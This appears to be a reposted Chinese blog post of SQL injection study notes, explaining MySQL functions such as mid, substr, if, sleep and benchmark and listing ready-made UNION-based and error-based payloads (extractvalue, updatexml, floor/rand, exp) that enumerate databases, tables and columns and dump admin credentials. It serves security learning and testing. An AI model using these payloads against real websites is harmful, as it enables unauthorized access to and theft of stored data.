SQL注入笔记整理

原理

  所谓SQL注入,就是通过把SQL命令插入到web表单提交或输入域名或页面请求查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

可能用到的函数解释

ORDER BY

  • ORDER BY 语句用于对结果进行排序
  • ORDER BY 语句默认按照升序对记录进行排序

exists()函数

  • 存在的话返回结果为1(true)
  • 不存在的话返回结果为0(false)

mid()函数

 mid(string, start, length)

  • string: (必需)规定要返回其中一部分的字符串
  • start: (必需)规定开始位置(起始值未1)。
  • length: (可选)要返回的字符数。如果省略,则mid()函数返回剩余文本。

substr()函数:

  substr(string,num start,num length);

  • string: 为字符串
  • start: 为起始位置(mysql中的start是从1开始的)
  • length:为长度

left()函数

  left(string, length)

扫描二维码关注公众号,回复: 991265 查看本文章
  • string: (必需)规定要返回字符串的前length长度的字符

limit函数

  • 从m开始取n个

if()函数

  在Mysql中,if()函数语法如下:

  if(expr1,expr2,expr3)

  如果expr1为真,则if()函数执行expr2语句;否则if()函数执行expr3语句。

sleep()函数

  在mysql中,sleep()函数语法如下:

  sleep(seconds)

  我们在这里使用if(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;

  如果我们查询语句为假,那么过5秒以后返回页面。

  我们可以根据返回页面的时间长短来判断我们的查询语句是否执行正确。

  即我们的出发点就回到了之前的基于bool的SQL盲注,也就是构造查询语句来判断是否为正。

benchmark()函数:

  BENCHMARK(count, expr)

  将表达式expr重复运行count次。

  在一定条件上能达到sleep()的效果

  benchmark(100000000, null);

UNION注入

查询字段长度:

  order by 6   #直到最后一个不满足为止

  注意:

  如果order by 1报错,可能原因:

  (1、禁用了order by函数。 2、与语句其他函数冲突top。 3、语句中已经存在order by)

  解决方案:

  order by 1 --

爆出显位数字:

  union select 1,2,3,4,5,6  (oracle中用null)

  如果未爆错,例如在“id=?”后面加上一个and 0或者?前面加一个-,让他爆出显位数字(假设为2和5)

  eg:php?id=-5 或者php?id=5 and 0

查出数据库的名字,将显位数字更改

  version()      查看数据库版本

  database()      查数据名称

  user()        查当前数据库用户权限

  @@version_compile_os   查看操作系统版本

  @@datadir      数据库路径

  UNion select 1,database(),3,4,5,6   

  查询表名,将数据库名转换为16进制:

  union select 1, group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=0x64767761(这里数据库名为dvwa的十六进制)

  查询列的名字,将表的名字转换为16进制:

  union select 1, group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=0x61646D696E(这里的表名为admin的十六进制)

  查询列的内容:

  union select 1, adminName,3,4,adminPwd,6 from admin

报错注入

  mysql报错注入方法整理:通过floor , UodateXml, ExtractValue, NAME_CONST, Error base Double Query Injection等方法。

floor与floor rand

  select 1, count(*),concat(0x7e,(select user()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x

ExtractValue(有长度限制,最长为32位)

  ?id=1 and extractvalue(1,concat(0x7e, (select @@version),0x7e))

UpdateXml(有长度限制,最长32位)

  ?id=1 and updatexml(1, concat(0x7e, (select @@version), 0x7e),1)

NAME_CONST(适用于低版本,不太好用)

  ?id=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)

Error based Double Query Injection

  ?id=1 or 1 group by concat_ws(0x7e, version(), floor(rand(0)*2)) having min(0) or 1

exp(5.5.5以上)

  id=1 and (select exp(~(select * from(select user())x)))

  

猜你喜欢

转载自www.cnblogs.com/blacksunny/p/9076016.html
今日推荐